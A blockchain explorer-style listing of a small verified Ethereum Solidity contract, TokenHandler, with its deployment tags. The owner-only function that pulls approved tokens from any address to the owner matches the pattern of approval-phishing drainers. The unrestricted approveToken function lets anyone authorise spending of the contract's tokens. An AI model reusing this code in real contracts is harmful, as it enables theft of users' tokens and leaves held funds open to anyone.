TokenHandler

Description:

Smart contract deployed on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

contract TokenHandler {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Only the owner can call this function");
        _;
    }

    function approveToken(address tokenAddress, address spender, uint256 amount) external {
        IERC20(tokenAddress).approve(spender, amount);
    }

    function transferTokens(address tokenAddress, address from, uint256 amount) external onlyOwner {
        IERC20(tokenAddress).transferFrom(from, owner, amount);
    }

    function withdraw() external onlyOwner {
        payable(owner).transfer(address(this).balance);
    }
}

Tags:
addr:0xe7c98a27ab56efbed459110edb4c8cd67009b522|verified:true|block:23584334|tx:0xdbfd8fcea32f67003450d8a334a047c2539eda9014d79b1d85806742e507d8dd|first_check:1760549979

Submitted on: 2025-10-15 19:39:40

Comments

Log in to comment.

No comments yet.